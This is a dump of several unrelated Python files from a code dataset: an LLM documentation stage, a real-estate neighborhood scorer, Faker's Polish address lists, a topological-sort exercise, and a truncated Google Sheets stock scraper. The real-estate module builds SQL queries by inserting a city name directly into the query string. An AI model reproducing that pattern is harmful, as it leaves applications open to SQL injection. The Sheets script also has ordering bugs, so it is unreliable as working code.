prompt and make some code\n        def on_token(i: int):\n            context.update_progress(completed=normalize_progress(i))\n\n        chat_completion = complete_chat(\n            chat_messages,\n            model=\"gpt-4\",\n            on_token=on_token,\n        )\n\n        context.log_text(\"completion.txt\", chat_completion)\n\n        return StageAction.NEXT.out(\n            py_name=py_name,\n            documentation=chat_completion,\n        )\n","repo_name":"bsilverthorn/vernac","sub_path":"src/vernac/stages/document_module.py","file_name":"document_module.py","file_ext":"py","file_size_in_byte":2097,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"16"}
+{"seq_id":"40718992683","text":"import numpy as np\nimport pandas as pd\nfrom index import app,db,es,redis_store,limiter,home_cache\n\nimport psycopg2\nimport psycopg2.extras\nimport json\nfrom collections import OrderedDict\nfrom sqlalchemy import create_engine\n\n\n\ndef get_city_sources(city):\n\n    RENT, SALE, SOLD = 1,2,4\n    ROOMS_LENGTH = 20000\n\n    query_rent = {\n              \"query\": {\n                \"bool\": {\n                  \"must\": [{\"match_phrase\":{\"city\":city}}, {\"match_phrase\":{\"status\":RENT}}],\n                  \"must_not\": [{\"match_phrase\":{\"room_type\":{\"query\": \"\"}}}]\n                }\n              }\n            }\n\n    rent = es.search(\n                    body=query_rent,\n                    size=ROOMS_LENGTH,\n                    )['hits']['hits']\n\n    query_sale = {\n              \"query\": {\n                \"bool\": {\n                  \"must\": [{\"match_phrase\":{\"city\":city}}, {\"match_phrase\":{\"status\":SALE}}],\n                  \"must_not\": [{\"match_phrase\":{\"room_type\":{\"query\": \"\"}}}]\n                }\n              }\n            }\n\n    sale = es.search(\n                    body=query_sale,\n                    size=ROOMS_LENGTH,\n                    )['hits']['hits']\n\n    query_sold = {\n              \"query\": {\n                \"bool\": {\n                  \"must\": [{\"match_phrase\":{\"city\":city}}, {\"match_phrase\":{\"status\":SOLD}}],\n                  \"must_not\": [{\"match_phrase\":{\"room_type\":{\"query\": \"\"}}}]\n                }\n              }\n            }\n\n    sold = es.search(\n                    body=query_sold,\n                    size=ROOMS_LENGTH,\n                    )['hits']['hits']\n\n    listing_price = np.median(np.array(list(item['_source']['house_price_dollar'] for item in sale if isinstance(item['_source']['house_price_dollar'], float))))\n    sold_price = np.median(np.array(list(item['_source']['house_price_dollar'] for item in sold if isinstance(item['_source']['house_price_dollar'], float))))\n    rent = np.median(np.array(list(item['_source']['rent'] for item in rent if isinstance(item['_source']['rent'], float))))\n\n    return {\"listing_price\" : listing_price, \"sold_price\" : sold_price, \"rent\" : rent}\n\n\n\ndef reject_outliers(data, m = 2):\n    return data[abs(data - np.mean(data)) < m * np.std(data)]\n\ndef scoring_neighborhood(city):\n\n    HIGH, MED, LOW = 3, 2, -3\n    SCORE_OFFSET = 2\n    ADJUST = 30\n\n    res = db.session.execute(\"select * from neighbor where city = '%s'\" % city)\n    data = res.fetchall()\n\n    df = pd.DataFrame(columns = ['id', 'neighbor_id', 'centroid', 'name', 'url', 'crime', 'demographic',\n     'real_estate', 'overview', 'school', 'property', 'city'])\n\n    columns_zc = ['id', 'neighbor_id', 'centroid', 'name', 'url', 'crime', 'demographic',\n     'real_estate', 'overview', 'school', 'property', 'city']\n\n    for i in range(0, 12):\n        df[columns_zc[i]] = list(data[j][i] for j in range(0, len(data)))\n\n    centers = list('(' + item + ')' for item in df['centroid'])\n    df['centroid'] = centers\n    df['general_score'] = df['crime'] * LOW + df['demographic'] * MED + df['real_estate'] + df['school'] * HIGH\n    # adjust score\n    if min(df['general_score']) < 0:\n        df['general_score'] = (df['general_score'] - min(df['general_score'])) * 100 / (max(df['general_score'] - min(df['general_score'])) + SCORE_OFFSET)\n\n    df['school_score'] = df['school'] * 9.8\n    df['crime_score'] = 100 - (df['crime'] * 9.8)\n\n    overview = df.sort_values('general_score', ascending=False)[:3]\n    school = df.sort_values('school_score', ascending=False)[:3]\n    crime = df.sort_values('crime_score', ascending=False)[:3]\n\n    mg_score, ms_score, mc_score = np.mean(reject_outliers(df['general_score'])) + ADJUST, np.mean(reject_outliers(df['school_score'])) + ADJUST, np.mean(reject_outliers(df['crime_score'])) + ADJUST\n\n    stats = {\n\n    \"mg_score\" : '%.2f' % mg_score,\n    \"ms_score\" : '%.2f' % ms_score,\n    \"mc_score\" : '%.2f' % mc_score,\n    \"g_first\" : overview.loc[overview.index.values[0]]['name'],\n    \"g_second\" : overview.loc[overview.index.values[1]]['name'],\n    \"g_third\" : overview.loc[overview.index.values[2]]['name'],\n    \"s_first\" : school.loc[school.index.values[0]]['name'],\n    \"s_second\" : school.loc[school.index.values[1]]['name'],\n    \"s_third\" : school.loc[school.index.values[2]]['name'],\n    \"c_first\" : crime.loc[crime.index.values[0]]['name'],\n    \"c_second\" : crime.loc[crime.index.values[1]]['name'],\n    \"c_third\" :crime.loc[crime.index.values[2]]['name']\n\n\n    }\n\n    return stats\n\n\ndef map_geoid(engine, city, state, schema='acs2016_1yr'):\n\n    us_state_abbrev = {\n\n    'Alabama': 'AL',\n    'Alaska': 'AK',\n    'Arizona': 'AZ',\n    'Arkansas': 'AR',\n    'California': 'CA',\n    'Colorado': 'CO',\n    'Connecticut': 'CT',\n    'Delaware': 'DE',\n    'Florida': 'FL',\n    'Georgia': 'GA',\n    'Hawaii': 'HI',\n    'Idaho': 'ID',\n    'Illinois': 'IL',\n    'Indiana': 'IN',\n    'Iowa': 'IA',\n    'Kansas': 'KS',\n    'Kentucky': 'KY',\n    'Louisiana': 'LA',\n    'Maine': 'ME',\n    'Maryland': 'MD',\n    'Massachusetts': 'MA',\n    'Michigan': 'MI',\n    'Minnesota': 'MN',\n    'Mississippi': 'MS',\n    'Missouri': 'MO',\n    'Montana': 'MT',\n    'Nebraska': 'NE',\n    'Nevada': 'NV',\n    'New Hampshire': 'NH',\n    'New Jersey': 'NJ',\n    'New Mexico': 'NM',\n    'New York': 'NY',\n    'North Carolina': 'NC',\n    'North Dakota': 'ND',\n    'Ohio': 'OH',\n    'Oklahoma': 'OK',\n    'Oregon': 'OR',\n    'Pennsylvania': 'PA',\n    'Rhode Island': 'RI',\n    'South Carolina': 'SC',\n    'South Dakota': 'SD',\n    'Tennessee': 'TN',\n    'Texas': 'TX',\n    'Utah': 'UT',\n    'Vermont': 'VT',\n    'Virginia': 'VA',\n    'Washington': 'WA',\n    'West Virginia': 'WV',\n    'Wisconsin': 'WI',\n    'Wyoming': 'WY',\n}\n\n\n    states = {v: k for k, v in us_state_abbrev.items()}\n    search_str = city + ' city, ' + states[state]\n    print(search_str)\n    cur = create_engine(engine)\n    rs = cur.execute(\"SELECT geoid FROM {schema}.geoheader WHERE name='{str}';\".format(schema=schema, str=search_str))\n\n    data = rs.fetchone()\n    if not data:\n        return None\n    else:\n        return rs.fetchone().values()[0]\n\n","repo_name":"ace-gabriel/chrome-extension","sub_path":"application/finance/search_city.py","file_name":"search_city.py","file_ext":"py","file_size_in_byte":6069,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"17692625055","text":"from .. import Provider as AddressProvider\n\n\nclass Provider(AddressProvider):\n    cities = (\n        \"Warszawa\",\n        \"Kraków\",\n        \"Łódź\",\n        \"Wrocław\",\n        \"Poznań\",\n        \"Gdańsk\",\n        \"Szczecin\",\n        \"Bydgoszcz\",\n        \"Lublin\",\n        \"Katowice\",\n        \"Białystok\",\n        \"Gdynia\",\n        \"Częstochowa\",\n        \"Radom\",\n        \"Sosnowiec\",\n        \"Toruń\",\n        \"Kielce\",\n        \"Gliwice\",\n        \"Rzeszów\",\n        \"Zabrze\",\n        \"Bytom\",\n        \"Olsztyn\",\n        \"Bielsko-Biała\",\n        \"Ruda Śląska\",\n        \"Rybnik\",\n        \"Tychy\",\n        \"Dąbrowa Górnicza\",\n        \"Gorzów Wielkopolski\",\n        \"Elbląg\",\n        \"Płock\",\n        \"Opole\",\n        \"Wałbrzych\",\n        \"Zielona Góra\",\n        \"Włocławek\",\n        \"Tarnów\",\n        \"Chorzów\",\n        \"Koszalin\",\n        \"Kalisz\",\n        \"Legnica\",\n        \"Grudziądz\",\n        \"Słupsk\",\n        \"Jaworzno\",\n        \"Jastrzębie-Zdrój\",\n        \"Nowy Sącz\",\n        \"Jelenia Góra\",\n        \"Konin\",\n        \"Piotrków Trybunalski\",\n        \"Siedlce\",\n        \"Inowrocław\",\n        \"Mysłowice\",\n        \"Piła\",\n        \"Lubin\",\n        \"Ostrów Wielkopolski\",\n        \"Ostrowiec Świętokrzyski\",\n        \"Gniezno\",\n        \"Stargard Szczeciński\",\n        \"Siemianowice Śląskie\",\n        \"Suwałki\",\n        \"Głogów\",\n        \"Pabianice\",\n        \"Chełm\",\n        \"Zamość\",\n        \"Tomaszów Mazowiecki\",\n        \"Leszno\",\n        \"Przemyśl\",\n        \"Stalowa Wola\",\n        \"Kędzierzyn-Koźle\",\n        \"Łomża\",\n        \"Żory\",\n        \"Mielec\",\n        \"Tarnowskie Góry\",\n        \"Tczew\",\n        \"Bełchatów\",\n        \"Świdnica\",\n        \"Ełk\",\n        \"Pruszków\",\n        \"Będzin\",\n        \"Biała Podlaska\",\n        \"Zgierz\",\n        \"Piekary Śląskie\",\n        \"Racibórz\",\n        \"Legionowo\",\n        \"Ostrołęka\",\n        \"Świętochłowice\",\n        \"Starachowice\",\n        \"Zawiercie\",\n        \"Wejherowo\",\n        \"Puławy\",\n        \"Wodzisław Śląski\",\n        \"Starogard Gdański\",\n        \"Skierniewice\",\n        \"Tarnobrzeg\",\n        \"Skarżysko-Kamienna\",\n        \"Radomsko\",\n        \"Krosno\",\n        \"Rumia\",\n        \"Dębica\",\n        \"Kołobrzeg\",\n        \"Kutno\",\n        \"Nysa\",\n        \"Ciechanów\",\n        \"Otwock\",\n        \"Piaseczno\",\n        \"Zduńska Wola\",\n        \"Sieradz\",\n        \"Świnoujście\",\n        \"Żyrardów\",\n        \"Szczecinek\",\n        \"Świdnik\",\n        \"Chojnice\",\n        \"Nowa Sól\",\n        \"Oświęcim\",\n        \"Bolesławiec\",\n        \"Mińsk Mazowiecki\",\n        \"Mikołów\",\n        \"Jarosław\",\n        \"Sanok\",\n        \"Knurów\",\n        \"Malbork\",\n        \"Żary\",\n        \"Kwidzyn\",\n        \"Chrzanów\",\n        \"Sopot\",\n        \"Sochaczew\",\n        \"Wołomin\",\n        \"Oleśnica\",\n        \"Brzeg\",\n        \"Olkusz\",\n        \"Jasło\",\n        \"Cieszyn\",\n        \"Kraśnik\",\n        \"Lębork\",\n        \"Czechowice-Dziedzice\",\n        \"Dzierżoniów\",\n        \"Ostróda\",\n        \"Police\",\n        \"Nowy Targ\",\n        \"Iława\",\n        \"Czeladź\",\n        \"Myszków\",\n        \"Żywiec\",\n        \"Zgorzelec\",\n        \"Oława\",\n        \"Bielawa\",\n        \"Swarzędz\",\n        \"Mława\",\n        \"Ząbki\",\n        \"Łuków\",\n        \"Augustów\",\n        \"Śrem\",\n        \"Bochnia\",\n        \"Luboń\",\n        \"Giżycko\",\n        \"Grodzisk Mazowiecki\",\n        \"Łowicz\",\n        \"Krotoszyn\",\n        \"Września\",\n        \"Turek\",\n        \"Pruszcz Gdański\",\n        \"Brodnica\",\n        \"Gorlice\",\n        \"Czerwionka-Leszczyny\",\n        \"Kłodzko\",\n        \"Marki\",\n        \"Nowy Dwór Mazowiecki\",\n        \"Kętrzyn\",\n        \"Zakopane\",\n        \"Wyszków\",\n        \"Biłgoraj\",\n        \"Żagań\",\n        \"Bielsk Podlaski\",\n        \"Świecie\",\n        \"Wałcz\",\n        \"Jarocin\",\n        \"Pszczyna\",\n        \"Wągrowiec\",\n        \"Szczytno\",\n        \"Białogard\",\n        \"Sandomierz\",\n        \"Bartoszyce\",\n        \"Kluczbork\",\n        \"Lubliniec\",\n        \"Skawina\",\n        \"Jawor\",\n        \"Kościan\",\n        \"Wieluń\",\n        \"Kościerzyna\",\n        \"Nowa Ruda\",\n        \"Świebodzice\",\n        \"Koło\",\n        \"Piastów\",\n        \"Goleniów\",\n        \"Ostrów Mazowiecka\",\n        \"Polkowice\",\n        \"Lubartów\",\n        \"Zambrów\",\n        \"Płońsk\",\n        \"Reda\",\n        \"Łaziska Górne\",\n        \"Środa Wielkopolska\",\n    )\n\n    street_prefixes = (\n        \"ulica\",\n        \"aleja\",\n        \"plac\",\n    )\n\n    streets = (\n        \"Polna\",\n        \"Leśna\",\n        \"Słoneczna\",\n        \"Krótka\",\n        \"Szkolna\",\n        \"Ogrodowa\",\n        \"Lipowa\",\n        \"Brzozowa\",\n        \"Łąkowa\",\n        \"Kwiatowa\",\n        \"Sosnowa\",\n        \"Kościelna\",\n        \"Akacjowa\",\n        \"Parkowa\",\n        \"Zielona\",\n        \"Kolejowa\",\n        \"Sportowa\",\n        \"Dębowa\",\n        \"Kościuszki\",\n        \"Maja\",\n        \"Mickiewicza\",\n        \"Cicha\",\n        \"Spokojna\",\n        \"Klonowa\",\n        \"Spacerowa\",\n        \"Swierkowa\",\n        \"Kasztanowa\",\n        \"Nowa\",\n        \"Piaskowa\",\n        \"Sienkiewicza\",\n        \"Rózana\",\n        \"Topolowa\",\n        \"Wiśniowa\",\n        \"Dworcowa\",\n        \"Wiejska\",\n        \"Graniczna\",\n        \"Słowackiego\",\n        \"Długa\",\n        \"Wrzosowa\",\n        \"Konopnickiej\",\n        \"Boczna\",\n        \"Wąska\",\n        \"Wierzbowa\",\n        \"Jaśminowa\",\n        \"Wspólna\",\n        \"Modrzewiowa\",\n        \"Kopernika\",\n        \"Jana Pawła II\",\n        \"Poprzeczna\",\n        \"Wesoła\",\n        \"Pogodna\",\n        \"Żeromskiego\",\n        \"Rynek\",\n        \"Bukowa\",\n        \"Wojska Polskiego\",\n        \"Sadowa\",\n        \"Górna\",\n        \"Jodłowa\",\n        \"Wolności\",\n        \"Glówna\",\n        \"Młyńska\",\n        \"Strażacka\",\n        \"Prusa\",\n        \"Jesionowa\",\n        \"Przemysłowa\",\n        \"Osiedlowa\",\n        \"Wiosenna\",\n        \"Sikorskiego\",\n        \"Chopina\",\n        \"Południowa\",\n        \"Malinowa\",\n        \"Stawowa\",\n        \"Reymonta\",\n        \"Piłsudskiego\",\n        \"Zacisze\",\n        \"Cmentarna\",\n        \"Okrężna\",\n        \"Kochanowskiego\",\n        \"Armii Krajowej\",\n        \"Miła\",\n        \"Jasna\",\n        \"Wodna\",\n        \"Zamkowa\",\n        \"Witosa\",\n        \"Reja\",\n        \"Warszawska\",\n        \"Miodowa\",\n        \"Partyzantów\",\n        \"Krzywa\",\n        \"Kilińskiego\",\n        \"Dolna\",\n        \"Podgórna\",\n        \"Kreta\",\n        \"Jarzębinowa\",\n        \"Moniuszki\",\n        \"Targowa\",\n        \"Prosta\",\n        \"Orzeszkowej\",\n        \"Spółdzielcza\",\n        \"Jagodowa\",\n        \"Działkowa\",\n        \"Staszica\",\n        \"Orzechowa\",\n        \"Rzemieślnicza\",\n        \"Rzeczna\",\n        \"Bolesława Chrobrego\",\n        \"Fabryczna\",\n        \"Tęczowa\",\n        \"Chabrowa\",\n        \"Poziomkowa\",\n        \"Konwaliowa\",\n        \"Wyszyńskiego\",\n        \"Kalinowa\",\n        \"Północna\",\n        \"Matejki\",\n        \"Grunwaldzka\",\n        \"Cisowa\",\n        \"Nadrzeczna\",\n        \"Pocztowa\",\n        \"Zachodnia\",\n        \"Dąbrowskiego\",\n        \"Grabowa\",\n        \"Norwida\",\n        \"Źródlana\",\n        \"Asnyka\",\n        \"Gajowa\",\n        \"Paderewskiego\",\n        \"Listopada\",\n        \"Wyspiańskiego\",\n        \"Mostowa\",\n        \"Broniewskiego\",\n        \"Tuwima\",\n        \"Wschodnia\",\n        \"Jaworowa\",\n        \"Poznańska\",\n        \"Makowa\",\n        \"Bema\",\n        \"Jeziorna\",\n        \"Piękna\",\n        \"Czereśniowa\",\n        \"Mała\",\n        \"Krakowska\",\n        \"Radosna\",\n        \"Leszczynowa\",\n        \"Traugutta\",\n        \"Jadwigi\",\n        \"Rolna\",\n        \"Wyzwolenia\",\n        \"Piastowska\",\n        \"Grzybowa\",\n        \"Krasickiego\",\n        \"Podleśna\",\n        \"Żytnia\",\n        \"Złota\",\n        \"Bursztynowa\",\n        \"Żwirowa\",\n        \"Stycznia\",\n        \"Widokowa\",\n        \"Kazimierza Wielkiego\",\n        \"Kamienna\",\n        \"Jałowcowa\",\n        \"Morelowa\",\n        \"Mieszka I\",\n        \"Myśliwska\",\n        \"Łączna\",\n        \"Szpitalna\",\n        \"Wczasowa\",\n        \"Żurawia\",\n        \"Fiołkowa\",\n        \"Głowackiego\",\n        \"Rolnicza\",\n        \"Tulipanowa\",\n        \"Władysława Jagiełły\",\n        \"Dworska\",\n        \"Letnia\",\n        \"Liliowa\",\n        \"Owocowa\",\n        \"Pułaskiego\",\n        \"Stefana Batorego\",\n        \"Harcerska\",\n        \"Kołłątaja\",\n        \"Strzelecka\",\n        \"Kraszewskiego\",\n        \"Władysława Łokietka\",\n        \"Żwirki i Wigury\",\n        \"Wrocławska\",\n        \"Gdańska\",\n        \"Turystyczna\",\n        \"Niepodległości\",\n        \"Poniatowskiego\",\n        \"Korczaka\",\n        \"Rybacka\",\n        \"Narutowicza\",\n        \"Okrzei\",\n        \"Krucza\",\n        \"Jagiellońska\",\n        \"Świerczewskiego\",\n        \"Kasprowicza\",\n        \"Szeroka\",\n        \"Jana III Sobieskiego\",\n        \"Młynarska\",\n        \"Olchowa\",\n        \"Powstańców Śląskich\",\n        \"Rumiankowa\",\n        \"Stroma\",\n        \"Starowiejska\",\n        \"Mazowiecka\",\n        \"Lawendowa\",\n        \"Robotnicza\",\n        \"Zbożowa\",\n        \"Mokra\",\n        \"Powstańców Wielkopolskich\",\n        \"Towarowa\",\n        \"Dobra\",\n        \"Środkowa\",\n        \"Willowa\",\n        \"Zielna\",\n        \"Zdrojowa\",\n        \"Opolska\",\n        \"Agrestowa\",\n        \"Księżycowa\",\n        \"Zwycięstwa\",\n        \"Fredry\",\n        \"Letniskowa\",\n        \"Andersa\",\n        \"Baczynskiego\",\n        \"Batalionów Chłopskich\",\n        \"Dąbrowskiej\",\n        \"Orla\",\n        \"Skłodowskiej-Curie\",\n        \"Błękitna\",\n        \"Rubinowa\",\n        \"Brzoskwiniowa\",\n        \"Urocza\",\n        \"Gałczynskiego\",\n        \"Krasińskiego\",\n        \"Pomorska\",\n        \"Szymanowskiego\",\n        \"Jeżynowa\",\n        \"Czarnieckiego\",\n        \"Nałkowskiej\",\n        \"Zaciszna\",\n        \"Porzeczkowa\",\n        \"Krańcowa\",\n        \"Jesienna\",\n        \"Klasztorna\",\n        \"Irysowa\",\n        \"Niecała\",\n        \"Wybickiego\",\n        \"Nadbrzeżna\",\n        \"Szarych Szeregów\",\n        \"Wałowa\",\n        \"Słowicza\",\n        \"Strumykowa\",\n        \"Drzymały\",\n        \"Gołębia\",\n        \"Torowa\",\n        \"Cegielniana\",\n        \"Cyprysowa\",\n        \"Słowianska\",\n        \"Diamentowa\",\n        \"Waryńskiego\",\n        \"Częstochowska\",\n        \"Dojazdowa\",\n        \"Przechodnia\",\n        \"Hallera\",\n        \"Lubelska\",\n        \"Plater\",\n        \"Popiełuszki\",\n        \"Borówkowa\",\n        \"Chełmońskiego\",\n        \"Daszyńskiego\",\n        \"Plażowa\",\n        \"Tartaczna\",\n        \"Jabłoniowa\",\n        \"Kossaka\",\n        \"Skargi\",\n        \"Ludowa\",\n        \"Sokola\",\n        \"Azaliowa\",\n        \"Szmaragdowa\",\n        \"Lipca\",\n        \"Staffa\",\n        \"Tysiąclecia\",\n        \"Brzechwy\",\n        \"Jastrzębia\",\n        \"Kusocińskiego\",\n        \"Storczykowa\",\n        \"Wilcza\",\n        \"Górnicza\",\n        \"Szafirowa\",\n        \"Długosza\",\n        \"Handlowa\",\n        \"Krokusowa\",\n        \"Składowa\",\n        \"Widok\",\n        \"Perłowa\",\n        \"Skośna\",\n        \"Wypoczynkowa\",\n        \"Chmielna\",\n        \"Jaskółcza\",\n        \"Nowowiejska\",\n        \"Piwna\",\n        \"Śląska\",\n        \"Zaułek\",\n        \"Głogowa\",\n        \"Górska\",\n        \"Truskawkowa\",\n        \"Kaszubska\",\n        \"Kosynierów\",\n        \"Mazurska\",\n        \"Srebrna\",\n        \"Bociania\",\n        \"Ptasia\",\n        \"Cedrowa\",\n        \"Rycerska\",\n        \"Wieniawskiego\",\n        \"Żabia\",\n        \"Toruńska\",\n        \"Podmiejska\",\n        \"Słonecznikowa\",\n        \"Sowia\",\n        \"Stolarska\",\n        \"Powstańców\",\n        \"Sucharskiego\",\n        \"Bolesława Krzywoustego\",\n        \"Konarskiego\",\n        \"Szczęśliwa\",\n        \"Lazurowa\",\n        \"Miarki\",\n        \"Narcyzowa\",\n        \"Browarna\",\n        \"Konstytucji 3 Maja\",\n        \"Majowa\",\n        \"Miłosza\",\n        \"Malczewskiego\",\n        \"Orkana\",\n        \"Skrajna\",\n        \"Bankowa\",\n        \"Bydgoska\",\n        \"Piekarska\",\n        \"Żeglarska\",\n        \"Jana\",\n        \"Turkusowa\",\n        \"Tylna\",\n        \"Wysoka\",\n        \"Zakątek\",\n        \"Maczka\",\n        \"Morska\",\n        \"Rataja\",\n        \"Szewska\",\n        \"Podwale\",\n        \"Pałacowa\",\n        \"Magnoliowa\",\n        \"Ceglana\",\n        \"Sawickiej\",\n        \"Ściegiennego\",\n        \"Wiklinowa\",\n        \"Zakole\",\n        \"Borowa\",\n        \"Kolorowa\",\n        \"Lisia\",\n        \"Lotnicza\",\n        \"Sarnia\",\n        \"Wiązowa\",\n        \"Grottgera\",\n        \"Kolonia\",\n        \"Królewska\",\n        \"Promienna\",\n        \"Daleka\",\n        \"Jana Sobieskiego\",\n        \"Rejtana\",\n        \"Wiatraczna\",\n        \"Kaliska\",\n        \"Łanowa\",\n        \"Średnia\",\n        \"Wiślana\",\n        \"Wróblewskiego\",\n        \"Koralowa\",\n        \"Kruczkowskiego\",\n        \"Lelewela\",\n        \"Makuszyńskiego\",\n        \"Sybiraków\",\n        \"Kowalska\",\n        \"Morcinka\",\n        \"Odrzańska\",\n        \"Okulickiego\",\n        \"Solidarnosci\",\n        \"Zapolskiej\",\n        \"Łabędzia\",\n        \"Wojciecha\",\n        \"Bałtycka\",\n        \"Lwowska\",\n        \"Rajska\",\n        \"Korfantego\",\n        \"Pszenna\",\n        \"Ciasna\",\n        \"Floriana\",\n        \"Hutnicza\",\n        \"Kielecka\",\n    )\n\n    regions = (\n        \"Dolnośląskie\",\n        \"Kujawsko - pomorskie\",\n        \"Lubelskie\",\n        \"Lubuskie\",\n        \"Łódzkie\",\n        \"Małopolskie\",\n        \"Mazowieckie\",\n        \"Opolskie\",\n        \"Podkarpackie\",\n        \"Podlaskie\",\n        \"Pomorskie\",\n        \"Śląskie\",\n        \"Świętokrzyskie\",\n        \"Warmińsko - mazurskie\",\n        \"Wielkopolskie\",\n        \"Zachodniopomorskie\",\n    )\n\n    building_number_formats = (\"##\", \"###\", \"##/##\")\n    postcode_formats = (\"##-###\",)\n    street_address_formats = (\n        \"{{street_prefix}} {{street_name}} {{building_number}}\",\n        \"{{street_prefix_short}} {{street_name}} {{building_number}}\",\n    )\n    address_formats = (\"{{street_address}}\\n{{postcode}} {{city}}\",)\n\n    def street_prefix(self) -> str:\n        \"\"\"\n        Randomly returns a street prefix\n        :example: 'aleja'\n        \"\"\"\n        return self.random_element(self.street_prefixes)\n\n    def street_prefix_short(self) -> str:\n        \"\"\"\n        Randomly returns an abbreviation of the street prefix.\n        :example: 'al.'\n        \"\"\"\n        return self.random_element(self.street_prefixes)[:2] + \".\"  # type: ignore\n\n    def street_name(self) -> str:\n        \"\"\"\n        Randomly returns a street name\n        :example: 'Wróblewskiego'\n        \"\"\"\n        return self.random_element(self.streets)\n\n    def city(self) -> str:\n        \"\"\"\n        Randomly returns a street name\n        :example: 'Konin'\n        \"\"\"\n        return self.random_element(self.cities)\n\n    def administrative_unit(self) -> str:\n        \"\"\"\n        :example: 'Wielkopolskie'\n        \"\"\"\n        return self.random_element(self.regions)\n\n    def postcode(self) -> str:\n        \"\"\"\n        :example: '62-200'\n        \"\"\"\n        return \"%02d-%03d\" % (self.generator.random.randint(1, 99), self.generator.random.randint(1, 999))\n\n    def zipcode(self) -> str:\n        \"\"\"\n        :example: '62-200'\n        \"\"\"\n        return self.postcode()\n\n    def postalcode(self) -> str:\n        \"\"\"\n        :example: '62-200'\n        \"\"\"\n        return self.postcode()\n\n    region = administrative_unit\n","repo_name":"joke2k/faker","sub_path":"faker/providers/address/pl_PL/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":15066,"program_lang":"python","lang":"hr","doc_type":"code","stars":16539,"dataset":"github-code","pt":"16"}
+{"seq_id":"43918443902","text":"from collections import deque\n\nGRAY, BLACK = 0, 1\n\ndef topological(graph):\n    order, enter, state = deque(), set(graph), {}\n\n    def dfs(node):\n        state[node] = GRAY\n        for k in graph.get(node, ()):\n            sk = state.get(k, None)\n            if sk == GRAY: raise ValueError(\"cycle\")\n            if sk == BLACK: continue\n            enter.discard(k)\n            dfs(k)\n        order.appendleft(node)\n        state[node] = BLACK\n\n    while enter: dfs(enter.pop())\n    return order\n\nquery_count = 1\nfor _ in range(query_count):\n    program_count, _ = [int(p) for p in input().split()]\n    program_graph = {}\n    for i in range(1, program_count+1):\n        dependencies = [int(p) for p in input().split()]\n        program_graph[i] = []\n        if dependencies[0] == 0:\n            pass\n        else:\n            program_graph[i] = list(reversed(sorted(dependencies[1:])))\n    wanted_programs = [int(p) for p in input().split()]\ngraph = program_graph\nprint(program_graph)\nprint(topological(graph))","repo_name":"stanislavkozlovski/python_exercises","sub_path":"hackerrank/CodeAgon/fifth_problem.py","file_name":"fifth_problem.py","file_ext":"py","file_size_in_byte":1008,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"16"}
+{"seq_id":"70738140808","text":"import os.path\nfrom googleapiclient.discovery import build\nfrom google_auth_oauthlib.flow import InstalledAppFlow\nfrom google.auth.transport.requests import Request\nfrom google.oauth2.credentials import Credentials\nfrom google.auth import impersonated_credentials, default\nimport pickle\nfrom datetime import datetime;\nimport pytz\nimport os\nimport os.path\nfrom pathlib import Path\nfrom __future__ import print_function\n\n#for scraper\nimport numpy as np\nfrom bs4 import BeautifulSoup\nimport requests\nimport pandas as pd\nimport pprint\n\n#USER SPECIFICATIONS - INFO ABT SPREADSHEET\n#assumption: a column is dedicated for the exchange\nSPREADSHEET_ID = 'Google Sheet ID'\nSHEET_NAME = 'Name of the Google Sheet'\nSTARTING_ROW_NUM = '3'\nENDING_ROW_NUM = '136'\n\nTICKER_COLUMN = 'A'\nEXCHANGE_COLUMN = 'B'\nPREV_CLOSE_COLUMN = 'E'\nDAY_MIN_COLUMN = 'G'\nDAY_MAX_COLUMN = 'F'\nTIME_STAMP_COLUMN = 'C'\nSTATUS_MARKER_COLUMN = 'D'\n\nWRITE_START_COLUMN = 'C'\nWRITE_END_COLUMN = 'G'\n\n\n#CUSTOM CONSTANTS\nSCOPES = 'https://www.googleapis.com/auth/spreadsheets.readonly https://www.googleapis.com/auth/spreadsheets'\n\nTICKER_EXCHANGE_RANGE = SHEET_NAME+'!'+TICKER_COLUMN+STARTING_ROW_NUM+':'+TIME_STAMP_COLUMN+ENDING_ROW_NUM\nWRITE_RANGE_NAME = SHEET_NAME+'!'+WRITE_START_COLUMN+STARTING_ROW_NUM+':'+WRITE_END_COLUMN+ENDING_ROW_NUM\n\n\n\nif __name__ == '__main__':\n    main()\n\n\ndef main():\n    \n    creds = None\n    # The file token.json stores the user's access and refresh tokens, and is\n    # created automatically when the authorization flow completes for the first\n    # time.\n    if os.path.exists('token.json'):\n        creds = Credentials.from_authorized_user_file('token.json', SCOPES)\n        \n    # If there are no (valid) credentials available, let the user log in.\n    if not creds or not creds.valid:\n        if creds and creds.expired and creds.refresh_token:\n            if Path('token.json').exists():\n                os.remove('token.json')\n            creds.refresh(Request())\n        else:\n            flow = InstalledAppFlow.from_client_secrets_file(\n                'client_secret_1018816297994-fil2doubov5rppaeqtpmjmcv2788ak6s.apps.googleusercontent.com.json', SCOPES)\n            creds = flow.run_local_server(port=0)\n            \n        # Save the credentials for the next run\n        with open('token.json', 'w') as token:\n            token.write(creds.to_json())\n\n    \n    \n    \n    service = build('sheets', 'v4', credentials=creds)\n\n    # Call the Sheets API\n    sheet = service.spreadsheets()\n    \n    \n    #READ TICKERS, EXCHANGES, TIMESTAMPS\n    result = sheet.values().get(spreadsheetId=SPREADSHEET_ID,\n                                range=TICKER_EXCHANGE_RANGE).execute()\n    tickerExchangeList = result.get('values', [])\n\n    if not tickerExchangeList:\n        print('No data found.')\n    else:\n        writeValues = []\n        \n        classNames = [\"hrc1Nd\", \"M2CUtd\"]\n        labels = [\"Previous close\", \"Day range\"]\n        \n        for tickerExchange in tickerExchangeList:\n            \n            values = retrieveData(tickerExchange[0], tickerExchange[1], classNames, labels, 3, \"₹\")\n            \n            #UPDATE STATUS & TIMESTAMP\n            if '' in values:\n                values.insert(0,\"ERR\")\n                try:\n                    values.insert(0, tickerExchange[2])\n                except:\n                    values.insert(0, \"\")\n            else:\n                values.insert(0,\"OK\")\n                IST_timezone = pytz.timezone(\"Asia/Kolkata\")\n                IST_timestamp = datetime.now(IST_timezone)\n                timestamp = str(IST_timestamp)\n                values.insert(0, timestamp)\n                \n            writeValues.append(values)\n        \n        \n        #WRITE TIMESTAMP, STATUS, PREV CLOSE, MAX, MIN TO SHEETS\n        body = {\n                'values': writeValues\n            }\n        result = service.spreadsheets().values().update(\n            spreadsheetId=SPREADSHEET_ID, range=WRITE_RANGE_NAME,\n            valueInputOption='USER_ENTERED', 